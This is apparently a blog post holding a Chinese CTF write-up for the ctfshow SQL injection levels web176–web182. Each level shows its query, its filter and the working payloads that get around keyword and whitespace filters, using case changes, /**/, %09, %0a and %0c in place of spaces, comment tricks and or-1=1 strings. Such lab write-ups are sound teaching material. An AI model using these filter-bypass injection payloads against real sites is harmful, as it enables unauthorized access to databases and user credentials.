ctfshow-web入门-sql注入 2.无过滤注入(web176-web182)

web176

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

题目没说过滤内容,可能过滤了unionselect
image-20250322205355
经过尝试,发现过滤了select,使用大写绕过

1' union SELECT 1,2,3 --+

image-20250322205654
直接注入,获得flagctfshow{3463e776-c315-4f89-ac1e-16a0b314b6f3}

1' union SELECT id,username,password from ctfshow_user --+

image-20250322205944

web177

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

解法1:

过滤了空格,不能直接用#--+注释,可以用/**/(注释)或%0a(回车)或%09(制表符)代替空格,用%23(#)代替#注释

1'/**/union/**/select/**/id,username,password/**/from/**/ctfshow_user%23

1'%0aunion%0aselect%0aid,username,password%0afrom%0actfshow_user%23

1'%09union%09select%09id,username,password%09from%09ctfshow_user%23

得到flagctfshow{a7e2090d-8a2f-4616-9f07-6e532dbe8301}
image-20250322212635
解法2:

使用万能密码

1'or/**/1=1%23

得到flagctfshow{816d1666-45cb-43e1-ad98-9e6c1412074f}
image-20250322213202

web178

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

/**/失效,但是%09%0a依旧可用,直接使用上一题的payload,得到flagctfshow{b504a6c6-672c-46b5-8823-cfe5456d9985}
image-20250322214145

web179

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

1'%23可以得到数据
image-20250322215026
1' %231%09'%23不行
image-20250322215106
过滤了空格,且上一题的几种方式都无法绕过

尝试使用bp爆破,在每个%0a的位置为a添加payload位置,爆破0-9和a-z,
发现为c时得到flag
image-20250322220944
则使用%0c代替空格,payload为:

1'%0cunion%0cselect%0cid,username,password%0cfrom%0cctfshow_user%23

1'or%0c1=1%23

得到flagctfshow{e26894cd-1e58-49ba-9e1e-125c4da30672}
image-20250322221154

web180

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

%23也被过滤了,使用--%0c注释,得到flagctfshow{149a01be-dca3-4484-86ef-bc886efa215c}

1'%0cunion%0cselect%0cid,username,password%0cfrom%0cctfshow_user--%0c

image-20250323100013

web181

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
  }

闭合引号,查询用户名为flag的数据

-1'||username='flag

image-20250323101347
得到flagctfshow{c0fd1f50-4e0d-480c-9a70-4d9297f06e75}

不知道为什么1'or%0c1=1--%0c也能得到flag,题目提示过滤了,但是实际应该没有过滤
image-20250323101542

web182

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
  }

新增过滤了flag

解法1:

将username换成id,上一题的id是26,所以payload是

-1'||id='26

image-20250323102314
得到flagctfshow{a0079257-e244-412a-8af3-8d49492c117a}

解法2
可以使用like模糊匹配

-1'||(username)like'fla%

like可以用两个通配符(不区分大小写):

字符 说明
% 匹配任何数目的字符,甚至包括零字符
_ 只能匹配一种字符

得到flag
image-20250323102855
此题%0c依旧可用

1'or%0c1=1--%0c
posted @ 2025-04-08 16:27  dhdhsiwi  阅读(106)  评论(0)    收藏  举报